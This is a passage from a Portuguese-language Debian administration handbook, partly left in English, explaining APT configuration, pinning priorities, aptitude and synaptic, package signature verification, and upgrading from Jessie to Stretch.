APT adicionando diretivas num arquivo do diretório /etc/apt/apt.conf.d/. Lembre, por
exemplo, que é possível para o APT pedir ao dpkg para ignorar erros de conflito em arquivos
ao especificar DPkg::options { ”--force-overwrite”; }.
Se a rede só puder ser acessada através de um proxy, adicione uma linha como Ac-
quire::http::proxy ”http://seu-proxy :3128”. Para um proxy FTP, escreva Acquire::ftp::proxy
”ftp://seu-proxy”. Para descobrir mais opções de configuração, leia a página de manual do
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apt.conf(5) com o comando man apt.conf (para detalhes sobre páginas de manual, veja Se-
ção 7.1.1, “Páginas de Manual” [140]).

DE VOLTA AO BÁSICO

Diretórios terminados em
.d

Directórios com um sufixo .d estão sendo cada vez mais usados. Cada diretório re-
presenta um arquivo de configuração que é separado em múltiplos arquivos. Neste
sentido, todos os arquivos em /etc/apt/apt.conf.d/ são instruções para a con-
figuração do APT. APT inclui eles em ordem alfabética, assim os últimos podem
altera um elemento de configuração definido em um dos primeiros.

Esta estrutura trás alguma flexibilidade ao administrador da máquina e aos mante-
nedores de pacotes. Na verdade, o administrador pode modificar facilmente a con-
figuração do software ao adicionar um arquivo pronto para usar no diretório em
questão sem ter que alterar um arquivo existente. mantenedores de pacotes usam
a mesma abordagem quando precisam adaptar a configuração de outro software
para garantir que ele coexista perfeitamente com o seu. A política Debian proíbe
explicitamente modificare arquivos de configuração de outros pacotes — apenas
usuários tem autorização para isto. Lembre que durante uma atualização de pa-
cote, o usuário escolhe a versão do arquivo de configuração que deve ser mantida
quando uma modificação é detectada. Qualquer modificação externa do arquivo
irá ativar este requisito, que irá perturbar o administrador, que é a certeza de não
ter mudificado nada.

Sem um diretório .d é impossível para um pacote externo mudar as configurações
de um programa sem modificar seu arquivo de configuração. Ao invés disto, ele
deve pedir para o usuário fazer isto ele próprio e descrever no arquivo /usr/share/
doc/pacote/README.Debian as operações a serem feitas.

Dependendo da aplicação, o diretório .d é usado diretamente ou gerenciado por
um script externo que vai concatenar todos os arquivos para criar um outro ar-
quivo de configuração. É importante executar o script depois de qualquer mu-
dança neste diretório, para que as modificações mais recentes sejam aplicadas.
Da mesma forma, é importante não trabalhar diretamente no arquivo de confi-
guração criado automaticamente, já que toda alteração será perdida na próxima
execução do script. A escolha de um método (diretório .d usado diretamente ou
arquivo gerado a partir do diretório) é normalmente ditada por restrições de im-
plementação, mas em ambos os casos os ganhos em termos de flexibilidade de
configuração superam as pequenas complicações que são trazidas. O servidor de
email Exim 4 é um exemplo do método de arquivo gerado: ele pode ser configu-
rado através de vários arquivos (/etc/exim4/conf.d/*) que são concatenados em
/var/lib/exim4/config.autogenerated pelo comando update-exim4.conf.

6.2.5. Gerenciar prioridades de pacote

Um dos mais importantes aspectos na configuração do APT é o gerenciamento de prioridades
associadas com cadafonte de pacote (”package source”). Por Exemplo, você pode querer exten-
der uma distribuição com um ou dois pacotes mais novos da Testing, Unstable ou Experimental. É
possível atribuir uma prioridade a cada pacote disponível (o mesmo pacote pode ter várias prio-
ridades dependendo da sua versão ou da distribuição que o disponibiliza). Estas prioridades vão
influenciar o comportamento do APT: para cada pacote, ele vai sempre selecionar a versão com
a prioridade mais alta (exceto se esta versão é mais velha que a instalada e se sua prioridade for
menor que 1000).
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O APT define várias prioridades padrão. Cada versão de pacote instalada tem a prioridade 100.
uma versão não instalada tem a prioridade 500 por padrão, mas pode pular para 990 se for parte
da versão de destino (definida com a opção de linha de comando -t ou a diretiva de configuração
APT::Default-Release).
Você pode modificar as prioridades adicionando entradas no arquivo /etc/apt/preferences
com os nomes dos pacotes afetados, sua versão, sua origem e sua nova prioridade.
O APT nunca vai instalar uma versão mais antiga de um pacote (quer dizer, um pacote cujo nú-
mero de versão émenor que o que está atualmente instalado) exceto se sua prioridade formaior
que 1000. O APT vai sempre instalar o pacote de prioridade mais alta que satisfizer esta restri-
ção. Se dois pacotes têm a mesma prioridade, o APT instala o mais novo (o que tiver o maior
número de versão). Se dois pacotes da mesma versão tiverem a mesma prioridade mas conteú-
dos diferentes, o APT instala a versão que não estiver instalada (esta regra foi criada para o caso
onde uma atualização de pacote que não incrementa o número de revisão, que é normalmente
necessário).
Em termos mai concretos, umpacote cuja prioridade é menor que 0 nunca vai ser instalado. Um
pacote com a prioridade entre 0 100 só vai ser instalado se nenhuma outra versão do pacote esti-
ver instalada. Comuma prioridade entre 100 e 500, o pacote só será instalado se não houver uma
versão mais nova instalada ou disponível em outra distribuição. Um pacote de prioridade entre
501 e 990 só será instalado se não houver uma versão mais nova instalada ou disponível numa
distribuição destino. Com uma prioridade entre 990 e 1000, o pacote será instalado a menos que
a versão instalada seja mais nova. Uma prioridade maior que 1000 vai sempre levar à instalação
do pacote, mesmo se ela força o APT a fazer downgrade para uma versão mais antiga.
When APT checks /etc/apt/preferences, it first takes into account the most specific entries
(often those specifying the concerned package), then themore generic ones (including for exam-
ple all the packages of a distribution). If several generic entries exist, the firstmatch is used. The
available selection criteria include the package’s name and the source providing it. Every pac-
kage source is identified by the information contained in a Release file that APT downloads
together with the Packages files. It specifies the origin (usually “Debian” for the packages of
official mirrors, but it can also be a person’s or an organization’s name for third-party reposito-
ries). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental
for the standard distributions provided by Debian) together with its version (for example 9 for
Debian Stretch). Let’s have a look at its syntax through some realistic case studies of this mecha-
nism.

CASO ESPECÍFICO

Prioridade do experimental

Se você listou a Experimental em seu arquivo sources.list, os pacotes corres-
pondentes quase nunca vão ser instalados, por que a prioridade padrão do APT
é 1. Este é, claro, um caso particular, projetado para evitar que usuários insta-
lem pacotes da Experimental por engano. Os pacotes podem apenas ser intalados
digitando aptitude install pacote/experimental — usuários digitando este
comando podem apenas ser avisados dos riscos que estão assumindo. Ainda é pos-
sível (embora não recomendado) tratar pacotes da Experimental como aqueles de
outras distribuições dando a eles uma prioridade de 500. Isto é feito com uma en-
trada específica no /etc/apt/preferences:
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Package: *
Pin: release a=experimental
Pin-Priority: 500

Vamos supor que você só quer usar os pacotes da versão estável do Debian. As previstas em
outras versões não devem ser instaladas exceto se explicitamente solicitado. Você poderia es-
crever as seguintes entradas do arquivo /etc/apt/preferences :
Package: *
Pin: release a=stable
Pin-Priority: 900

Package: *
Pin: release o=Debian
Pin-Priority: -10

a=stable define o nome da distribuição selecionada. o=Debian limita o escopo para pacotes cuja
origem seja ”Debian”.
Let’s now assume that you have a server with several local programs depending on the ver-
sion 5.24 of Perl and that you want to ensure that upgrades will not install another version of it.
You could use this entry:
Package: perl
Pin: version 5.24*
Pin-Priority: 1001

A documentação de referência para este arquivo de configuração está disponível na página de
manual apt_preferences(5), que você lê com man apt_preferences.

DICA

Comentários no
/etc/apt/preferences

Não existe uma sintaxe oficial para colocar comentários no arquivo /etc/apt/
preferences, mas algumas descrições textuais pode ser fornecidas colocando um
ou mais campos ”Explanation” no começo de cada entrada:

Explanation: O pacote xserver-xorg-video-intel fornecido
Explanation: na experimental pode ser usado com segurança
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500

6.2.6. Trabalhando com Distribuições Diversas

Sendo o apt uma ferramenta assim tão maravilhosa, é tentador pegar pacotes de outras ditri-
buicões. Por exemplo, depois de instalar um sistema Stable, você pode querer tentar um pacote
de software disponível na Testing ou Unstable sem divergir muito do estado inicial do sistema.
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Mesmo se você ocasionalmente encontrar problemas enquanto estiver misturando pacotes de
distribuições diferentes, o apt gerencia tal coexistência muito bem e limita os riscos de forma
bastante efetiva. A melhor maneira de proceder é listando todas as distribuições usadas em
/etc/apt/sources.list (algumas pessoas sempre botam as três distribuições, mas lembre-se
que Unstable é reservada para usuários experientes) e definindo a sua distribuição de referência
com o parâmetro APT::Default-Release (Veja Seção 6.2.3, “Atualização do sistema” [114]).
Suponha que Stable é sua distribuição de referênciamas queTesting eUnstable tambémestão lista-
das em seu arquivo sources.list. Neste caso, você pode usar apt- install pacote/testing
para instalar um pacote da Testing. Se a instalação falha devido a algumas dependências não-
satisfeitas, deixe ela resolver estas dependências na Testing adicionando o parâmetro -t testing.
O mesmo obviamente se aplica à Unstable.
Nesta situação, atualizações (upgrade e full-upgrade) são feitas no Stable exceto para paco-
tes já atualizados para uma outra distribuição: estes vão seguir as atualizações disponíveis em
outras distribuições. Nós iremos explicar este comportamento com a ajuda de prioridades pa-
drão configuradas pelo APT abaixo. Não hesite em usar apt-cache policy (veja a barra lateral
apt-cache policy [119]) para verificar as prioridades dadas.
Tudo se baseia no fato de que o APT apenas considera pacotes com versão igual ou superior à ins-
talada (assumindo que o /etc/apt/preferences não foi usado para forçar prioridades maiores
que 1000 para alguns pacotes).

DICA

apt-cache policy

Para entender melhor o mecanismo das prioridades, não hesite em executar
apt-cache policy para exibir as prioridades padrão associadas a cada fonte de
pacote. Você também pode usar apt-cache policy pacote para exibir as priori-
dades de todas as versões disponíveis de um dado pacote.

Suponha que você instalou a versão 1 de um primeiro pacote da Stable e que versão 2 e 3 estão
respectivamente disponíveis na Testing e na Unstable. A versão instalada tem uma prioridade de
100mas a versão disponível na Stable (exatamente amesma) tem uma prioridade de 990 (porque
ela é parte da ”target release”). Pacotes na Testing e na Unstable tem a prioridade de 500 (a prio-
ridade padrão de uma versão não instalada). O ganhador é então a versão 1 com uma prioridade
de 990. O pacote “fica na Stable”.
Tomemos o exemplo de outro pacote cuja versão 2 foi instalada da Testing. A versão 1 está dispo-
nível na Stable e a versão 3 na Unstable. A versão 1 (de prioridade 990 — logo, menor que 1000) é
descartada pois é menor que a versão instalada. Sobram apenas as versões 2 e 3, ambas de prio-
ridade 500. Perante esta alternativa, o APT seleciona a versão mais nova, aquela da Unstable. Se
você não quer que um pacote instalado da Testing migre para a Unstable, você terá que atribuir
uma prioridade menor que 500 (490 por exemplo) para pacotes vindo da Unstable. Você pode
modificar o /etc/apt/preferences para obter este efeito:
Package: *
Pin: release a=unstable
Pin-Priority: 490
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6.2.7. Rastreando Pacotes Instalados Automaticamente

Uma das funcionalidades essenciais do apt é o rastreamento de pacotes instalados somente atra-
vés de dependências. Estes pacotes são chamados de ”automático”, e muitas vezes incluem bi-
bliotecas, por exemplo.
With this information, when packages are removed, the packagemanagers can compute a list of
automatic packages that are no longer needed (because there is no “manually installed” packa-
ges depending on them). apt-get autoremove or apt autoremove will get rid of those packa-
ges. aptitude does not have this command because it removes them automatically as soon as
they are identified. In all cases, the tools display a clear message listing the affected packages.
É umbomhábitomarcar como automático qualquer pacote que você não precisa diretamente de
modo que eles são automaticamente removidos quando eles não sãomais necessários.apt-mark
auto pacotemarcará o pacote dado como automático enquanto apt-mark manual pacote faz
o oposto. aptitude markauto e aptitude unmarkauto trabalham da mesma forma, embora
eles ofereçam mais recursos para a marcação de muitos pacotes de uma vez (veja Seção 6.4.1,
“aptitude” [122]). A interface interativa baseada em console do aptitude também torna mais
fácil para analisar a ”opção automático” em muitos pacotes.
Alguémpode querer saber porque umpacote foi automaticamente instaladono sistema. Para ob-
ter esta informação na linha de comando, você pode usar aptitude why pacote (apt e apt-get
não tem recurso semelhante):

$ aptitude why python-debian
i aptitude Recommends apt-xapian-index
i A apt-xapian-index Depends python-debian (>= 0.1.15)

ALTERNATIVA

deborphan e debfoster

Nos dias em que apt, apt-get e aptitude não foram capazes de rastrear pacotes
automáticos, havia dois utilitários que produziam listas de pacotes desnecessários:
deborphan e debfoster.

deborphan é o mais rudimentar dos dois. Ele simplesmente varre as seções libs
e oldlibs (na ausência de instruções complementares) procurando por pacotes
atualmente instalados e que nenhum outro pacote dependa. A lista resultante pode
servir como uma base para remover pacotes desnecessários.

debfoster tem uma abordagem mais elaborada, parecida com a de um APT: Ele
mantém uma lista de pacotes que foram explicitamente instalados, e lembra que
pacotes são realmente requeridos entre cada invocação. Se novos pacotes apare-
cem no sistema e se o debfoster não reconhece eles como pacotes requeridos, eles
serão mostrados na tela junto com uma lista de suas dependências. O programa
então oferece uma escolha: remover o pacote (possivelmente junto com tudo que
depende dele), marcá-lo como explicitamente requerido, ou ignorâ-lo temporaria-
mente.
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6.3. O Comando apt-cache

O comando apt-cache pode apresentar grande parte das informações armazenadas no banco
de dados interno do APT. Esta informação é uma espécie de cache, pois é recolhida de diferentes
fontes, listadas no arquivo sources.list. Isso acontece durante a operação do apt update.

VOCABULÁRIO

Cache
O cache é um sistema de armazenamento temporário usado para acelerar o acesso
frequente de dados quando o método de acesso habitual é caro (em termos de per-
formance). Este conceito pode ser aplicado em diversas situações e em diferentes
escalas, desde o núcleo de microprocessadores até sistemas de armazenamento de
alta qualidade.

No caso do APT, os arquivos Packages de referência são localizados nos espelhos
Debian. Ou seja, será bastante ineficaz passar pela rede a cada busca que quiser-
mos fazer no banco de dados de pacotes disponíveis. É por isto que o APT armazena
uma cópia destes arquivos (em /var/lib/apt/lists/) e buscas são feitas neles.
Similarmente, /var/cache/apt/archives/ contém um cache de pacotes já baixa-
dos para evitar baixá-los de novo se você precisar deles depois de uma remoção.

Ocomandoapt-cachepodebuscar pacotes baseado empalavras-chave comapt-cache search
palavra-chave. Também pode mostrar os cabeçalhos das versões disponíveis dos pacotes
com apt-cache show pacote. Este comando fornece a descrição do pacote, suas dependên-
cias, o nome de seu mantenedor, etc. Observe que apt search, apt show, aptitude search,
aptitude show funcionam do mesmo jeito.

ALTERNATIVE

axi-cache

apt-cache search é uma ferramenta muito rudimentar, implementando, basica-
mente grep em descrições de pacotes. Que muitas vezes retorna resultados demais
ou nenhum quando você incluir muitas palavras-chave.

axi-cache search expressão, por outro lado, oferece melhores resultados, or-
denados por relevância. Ele usa o Motor de busca Xapian que faz parte do pacote
apt-xapian-index que indexa toda a informação pacote (e mais, como o arquivo
.desktop de todos os pacotes Debian). Ele sabe sobre marcas (veja a barra lateral
O campo Tag [84]) e retorna os resultados em questão de milissegundos.

$ axi-cache search package use::searching
100 results found.
Results 1-20:
100% packagesearch - GUI for searching packages and viewing

å package information
100% apt-utils - package management related utility

å programs
99% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,

å available} and Packages
98% migemo - Transitional package for migemo
95% apt-file - search for files within Debian packages (

å command-line interface)
[...]
79% apt-xapian-index - maintenance and search tools for a

å Xapian index of Debian packages
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More terms: paquets debian pour debtags recherche gift
å gnuift

More tags: suite::debian works-with::software:package role
å ::program admin::package-management interface::
å commandline scope::utility field::biology:
å bioinformatics

‘axi-cache more’ will give more results

Algumas funcionalidades são raramente usadas. Por exemplo, apt-cache policymostra as pri-
oridades das fontes de pacotes assim como de pacotes individuais. Outro exemplo é apt-cache
dumpavail que mostra os cabeçalhos de todas as versões disponíveis de todos os pacotes.
apt-cache pkgnames mostra a lista de todos os pacotes que aparecem pelo menos uma vez
no cache.

6.4. Interfaces: aptitude, synaptic

APT é um programa C++ cujo código reside principalmente na biblioteca compartilhada
libapt-pkg. Usar uma biblioteca compartilhada facilita a criação de interfaces de usuário
(front-ends), já que o código contido na biblioteca pode facilmente ser reutilizado. Historica-
mente, apt-get foi projetado apenas como um front-end de teste para libapt-pkg, mas seu
sucesso tende a obscurecer esse fato.

6.4.1. aptitude

aptitude é umprograma interativo que pode ser usado emmodo semi-gráfico no console. Você
pode navegar a lista de pacotes disponíveis e instalados, buscar em todas as informações dispo-
níveis e selecionar pacotes para instalar ou remover. O programa é projetado especificamente
para ser usado pelos administradores, de forma que seu comportamento padrão sejamuitomais
inteligente que o do apt-get e sua interface muito mais fácil de entender.
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Figura 6.1 O gerenciador de pacotes aptitude

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or ins-
talled but not available on themirrors — other sections display tasks, virtual packages, and new
packages that appeared recently on mirrors). To facilitate thematic browsing, other views are
available. In all cases, aptitude displays a list combining categories and packages on the screen.
Categories are organized through a tree structure, whose branches can respectively be unfolded
or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to
mark it for removal and _ to purge it (note that these keys can also be used for categories, in
which case the corresponding actions will be applied to all the packages of the category). u up-
dates the lists of available packages and Shift+u prepares a global system upgrade. g switches
to a summary view of the requested changes (and typing g again will apply the changes), and q
quits the current view. If you are in the initial view, this will effectively close aptitude.

DOCUMENTAÇÃO

aptitude

Esta seção não cobre os detalhes mais sutis do uso do aptitude, ao invés disto ela
se concentra em dar-lhe um kit de sobrevivência para usá-lo. aptitude é bastante
bem documentado e aconselhamos que você use seu manual completo disponível
no pacote aptitude-doc-en (/usr/share/doc/aptitude/html/en/index.html).

Para buscar por um pacote, você pode digitar / seguido pelo padrão de busca. Este padrão pode
coincidir com o nome do pacote, mas também pode ser aplicado à descrição (se precedido por
~d), à seção (com ~s) ou a outras características detalhadas na documentação. Os mesmos pa-
drões podem filtrar a lista de pacotes exibidos: digite a tecla l (de limit) e digite o padrão.
Gerenciando o “automatic flag” do pacote Debian (veja Seção 6.2.7, “Rastreando Pacotes Insta-
lados Automaticamente” [120]) é fácil com aptitude. É possível navegar na lista de pacotes
instalados e pacotes marcados como automáticos com Shift+m ou remover a marca com a tecla
m. “Pacotes automáticos” são exibidos com um ”A” na lista de pacotes. Esse recurso também
oferece uma maneira simples de visualizar os pacotes em uso em uma máquina, sem todas as
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bibliotecas e dependências que você realmente não se preocupa. O padrão relacionado que pode
ser usado com l (para ativar omodo filtro) é ~i!~M. Ele especifica que você só quer ver os pacotes
instalados (~i) não marcados como automáticos (!~M).

FERRAMENTA

Usando aptitude na
interface de linha de

comando

A maioria das funcionalidade do aptitude estão disponíveis tanto na interface
interativa quanto na linha de comando. A interface de linha de comando é bem
familiar para quem já usa os comandos apt-get e apt-cache.

As funcionalidade avançadas do aptitude também estão disponíveis na linha de
comando. Você pode usar os mesmos padrões de busca de pacotes da versão intera-
tiva. Por exemplo, se você quiser limpar a lista de pacotes ”instaladamanualmente”,
e se voc?e sabe que nenhum dos programas instalados localmente requer bibliote-
cas particulares ou módulos Perl, você pode marcar os pacotes correspondentes
como automáticos com um único comando:

# aptitude markauto ’~slibs|~sperl’

Aqui, você pode claramente ver o poder do sistema de padrões de busca do
aptitude, que permite a seleção instantânea de todos os pacotes nas seções libs
e perl.

Cuidado, se alguns pacotes são marcados como automáticos e se não há outros
pacotes dependendo deles, eles serão removidos imediatamente (depois de uma
confirmação).

Gerenciando Recomendações, Sugestões e Tarefas

Another interesting feature of aptitude is the fact that it respects recommendations between
packages while still giving users the choice not to install them on a case by case basis. For exam-
ple, the gnome package recommends brasero (among others). When you select the former for
installation, the latter will also be selected (and marked as automatic if not already installed on
the system). Typing g will make it obvious: brasero appears on the summary screen of pending
actions in the list of packages installed automatically to satisfy dependencies. However, you can
decide not to install it by deselecting it before confirming the operations.
Observe que esta funcionalidade de rastreio de recomendação não se aplica a atualizações (up-
grades). Por exemplo, se uma nova versão do gnome recomenda um pacote que não recomen-
dava antes, o pacote não vai ser marcado para instalação. Entretanto, ele vai ser listado na tela
de atualização para que o administrador possa selecioná-lo para instalação, se desejar.
Suggestions between packages are also taken into account, but in a manner adapted to their
specific status. For example, since gnome suggests empathy, the latter will be displayed on the
summary screen of pending actions (in the section of packages suggested by other packages).
This way, it is visible and the administrator can decide whether to take the suggestion into
account or not. Since it is only a suggestion and not a dependency or a recommendation, the
package will not be selected automatically — its selection requires a manual intervention from
the user (thus, the package will not be marked as automatic).
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No mesmo espírito, lembre que o aptitude faz um uso inteligente do conceito de tarefa. Como
tarefas são mostradas como categorias nas telas de listas de pacote, você pode tanto selecionar
uma tarefa completa para instalar ou remover, ou navegar na lista de pacotes inclusa na tarefa
para selecionar um subconjunto menor.

Algoritmos de Solução Melhores

Para concluir esta seção, note que o aptitude tem algoritmos mais elaborados comparado com
o apt-get quando se trata de resolver situações difíceis. Quando um conjunto de ações é reque-
rido e quando estas ações combinadas levam a um sistema incoerente, o aptitude calcula vários
cenários possíveis e apresenta eles domais para omanos relevante. Entretanto, estes algoritmos
não são à prova de falhas. Afortunadamente existe sempre a possibilidade de fazer uma seleção
manual das ações a realizar. Quando as ações atualmente selecionadas levam a uma contradi-
ção, a parte de cima da tela indica umnúmero de pacotes ”quebrados” (e você pode diretamente
navegar para estes pacotes pressionando b). É então possível construir manualmente uma solu-
ção para os problemas encontrados. Em particular, você pode obter acesso a diferentes versões
disponíveis simplesmente selecionando o pacote com Enter. Se a seleção de uma destas ver-
sões resolve o problema, não hesite em usá-la. Quando o número de pacotes quebrados baixa
a zero, você pode seguramente ir para a tela de resumo das ações pendentes para uma última
verificação antes de aplicar as ações.

NOTA

logs do aptitude

Assim como o dpkg, aptitude mantém um registro das ações executadas no seu
arquivo de log (/var/log/aptitude). Entretanto, como os dois comandos traba-
lham em níveis muito diferentes, você não achará a mesma informação nos seus
respectivos arquivos de log. Enquanto o dpkg loga todas as operações executadas
em pacotes individuais, passo a passo, o aptitude dá uma visão geral das opera-
ções de alto nível, como uma atualização de sistema.

Cuidado, este arquivo de log contém um resumo das operações realizadas pelo
aptitude. Se outras interfaces (ou o próprio dpkg) forem usadas ocasionalmente,
então o log do aptitude vai conter apenas uma visão parcial das operações, de
forma que você não pode se basear simplesmente nele para ter uma história total-
mente confiável do seu sistema.

6.4.2. synaptic

synaptic é um gerenciador de pacotes gráfico para o Debian que possui uma interface gráfica
limpa e eficiente baseada em GTK+/GNOME. Seus muitos filtros prontos para uso permitem o
acesso rápido a novos pacotes disponibilizados, pacotes instalados, pacotes atualizáveis, paco-
tes obsoletos e muito mais. Se você navegar através destas listas, você poderá selecionar as
operacões a serem feitas nos pacotes (instalar, atualizar, remover, expurgar); estas operações
não são realizadas imediatamente, mas postas em uma lista de tarefas. Um único clique de um
botão então valida as operações, que são então realizadas todas juntas.
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Figura 6.2 gerenciador de pacotes synaptic

6.5. Verificando Autenticidade do Pacote

Segurança é muito importante para os administradores da Falcot Corp. E desta forma, eles pre-
cisam ter certeza que estão instalando pacotes que vem do Debian, sem interceptações no ca-
minho. Um cracker de computador pode tentar adicionar código malicioso num pacote que de
outra forma seria legítimo. Tal pacote, se instalado, poderia fazer qualquer coisa que o cracker o
tivesse projetado para fazer, incluindo por exemplo revelar senhas e informações confidenciais.
Para evitar este risco, o Debian fornece um selo de qualidade a prova de interceptações para
garantir - no momento da instalação - que um pacote realmente vem de ummentenedor oficial
e não foi modificado por um terceiro.
O selo funciona como uma cadeia de hashes criptográficos e uma assinatura. O arquivo assinado
é o arquivo Release file, fornecido pelos espelhos Debian. Ele contém uma lista de arquivos
Packages (incluindo suas formas compactadas, Packages.gz e Packages.xz, e as versões in-
crementais), junto com suas hashes MD5, SHA1 e SHA256 que garantem que os arquivos não
foram interceptados. Estes arquivos Packages contém uma lista de pacotes Debian disponíveis
no espelho, junto com seus hashes, que garantem, por sua vez, que os conteúdos dos próprios
pacotes também não foram alterados.
APT needs a set of trusted GnuPG public keys to verify signatures in the Release.gpg files
available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the
/etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys
are provided and kept up-to-date by the debian-archive-keyring package which puts them in
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/etc/apt/trusted.gpg.d/. Note however that the first installation of this particular package
requires caution: even if the package is signed like any other, the signature cannot be verified
externally. Cautious administrators should therefore check the fingerprints of imported keys
before trusting them to install new packages:
# apt-key fingerprint
/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
----------------------------------------------------------
pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

126C 0D24 BD8A 2942 CC7D F8AC 7638 D044 2B90 D010
uid [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
-------------------------------------------------------------------
pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

D211 6914 1CEC D440 F2EB 8DDA 9D6D 8F6B C857 C906
uid [ unknown] Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
-------------------------------------------------------
pub rsa4096 2013-08-17 [SC] [expires: 2021-08-15]

75DD C3C4 A499 F1A1 8CB5 F3C8 CBF8 D6FD 518E 17E1
uid [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-----------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

E1CF 20DD FFE4 B89E 8026 58F1 E0B1 1894 F66A EC98
uid [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
--------------------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

6ED6 F5CB 5FA6 FB2F 460A E88E EDA0 D238 8AE2 2BA9
uid [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
--------------------------------------------------------
pub rsa4096 2017-05-20 [SC] [expires: 2025-05-18]

067E 3C45 6BAE 240A CEE8 8F6F EF0F 382A 1A7B 6500
uid [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg
----------------------------------------------------------
pub rsa4096 2012-04-27 [SC] [expires: 2020-04-25]

A1BD 8E9D 78F7 FE5C 3E65 D8AF 8B48 AD62 4692 5553
uid [ unknown] Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg
-------------------------------------------------------
pub rsa4096 2012-05-08 [SC] [expires: 2019-05-07]

ED6D 6527 1AAC F0FF 15D1 2303 6FB2 A1C2 65FF B764
uid [ unknown] Wheezy Stable Release Key <debian-release@lists.debian.org>

NA PRÁTICA

Adicionando chaves
confiáveis

Quando uma origem de pacotes de terceiros é adicionada ao arquivo sources.
list, O apt precisa ser instruído a confiar na chave de autenticação GPG corres-
pondente (caso contrário ele vai ficar reclamando que não pode garantir a auten-
ticidade dos pacotes vindo daquele repositório). O primeiro passo, obviamente, é
obter a chave pública. Em geral, a chave vai ser fornecida como um pequeno ar-
quivo texto, que vamos chamar de key.asc nos seguintes exemplos.

To add the key to the trusted keyring, the administrator can just put it in a *.asc
file in /etc/apt/trusted.gpg.d/. This is supported since Debian Stretch. With
older releases, you had to run apt-key add < key.asc.
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Para pessoas que precisam de uma aplicação dedicada e mais detalhes sobre as
chaves confiáveis, é possível usar o gui-apt-key (no pacote de mesmo nome), uma
pequena interface gráfica que gerencia o chaveiro confiável.

Uma vez que as chaves apropriadas estiverem no chaveiro, o APT vai verificar as assinaturas
antes de operações arriscadas, e as interface vão exibir um aviso se tiverem que instalar um
pacote cuja autenticidade não puder ser verificada.

6.6. Atualizando de uma Versão Estável para a Próxima

Uma das funcionalidades mais conhecidas do Debian é sua habilidade de atualizar um sistema
instalado de uma versão estável para a próxima: dist-upgrade—um termo bem conhecido— tem
contribuído amplamente para a reputação do projeto. Com algumas poucas precauções, atuali-
zar um computador pode levar alguns minutos, ou algumas dezenas de minutos, dependendo
da velocidade de download do repositório de pacotes.

6.6.1. Procedimento Recomendado

Como o Debian tem bastante tempo para evoluir entre lançamentos da versão estável, você deve
ler as notas de lançamento (”release notes”) antes de atualizar.

DE VOLTA AO BÁSICO

Notas de lançamento
As notas de lançamento para um sistema operacional (e, mais geralmente, para
qualquer software) são um documento que dá uma visão geral do software, com
alguns detalhes a respeito das particularidades de uma determinada versão. Estes
documentos são em geral curtos se comparados com a documentação completa, e
eles normalmente listam as funcionalidades que foram incluídas da versão anterior
para a atual. Eles também dão detalhes dos procedimentos de atualização, alertas
para os usuários da versão anterior e algumas erratas.

Release notes are available online: the release notes for the current stable release
have a dedicated URL, while older release notes can be foundwith their codenames:

è http://www.debian.org/releases/stable/releasenotes

è http://www.debian.org/releases/jessie/releasenotes

In this section, we will focus on upgrading a Jessie system to Stretch. This is a major operation on
a system; as such, it is never 100% risk-free, and should not be attempted before all important
data has been backed up.
Outro hábito quemantém a atualizaçãomais fácil (e rápida) é organizar a quantidade de pacotes
instalados e manter apenas aqueles que são realmente necessários. Ferramentas úteis para isto
incluem aptitude, deborphan e debfoster (veja Seção 6.2.7, “Rastreando Pacotes Instalados
Automaticamente” [120]). Por exemplo, você pode usar o seguinte comando: e, em seguida,
usar o modo interativo do aptitude para checar e ajustar as remoções programadas:
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# deborphan | xargs aptitude --schedule-only remove

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell
APT to get its packages from Stretch instead of Jessie. If the file only contains references to Stable
rather than explicit codenames, the change isn’t even required, since Stable always refers to
the latest released version of Debian. In both cases, the database of available packages must be
refreshed (with the apt update command or the refresh button in synaptic).
Uma vez que estas novas fontes de pacotes for cadastrado, você deve primeiro fazer uma atuali-
zação mínima com apt upgrade. Ao fazer a atualização em duas etapas, nos facilita o trabalho
das ferramentas de gerenciamento de pacotes emuitas vezes garante que temos as versõesmais
recentes das pessoas, o que pode ter acumulado correções de bugs e melhorias necessárias para
concluir a atualização completa da distribuição.
Once this first upgrade is done, it is time to handle the upgrade itself, either with apt
full-upgrade, aptitude, or synaptic. You should carefully check the suggested actions be-
fore applying them: you might want to add suggested packages or deselect packages which are
only recommended and known not to be useful. In any case, the front-end should come up with
a scenario ending in a coherent and up-to-date Stretch system. Then, all you need is to do is wait
while the required packages are downloaded, answer the Debconf questions and possibly those
about locally modified configuration files, and sit back while APT does its magic.

6.6.2. Lidando com Problemas após uma Atualização

Apesar dos esforços dos mantenedores Debian, uma atualização geral do sistema não é sempre
tão suave quando você gostaria. Novas versões de software podem ser incompatíveis com ver-
sões anteriores (por exemplo, seu comportamento padrão ou seu formato de dados pode ter
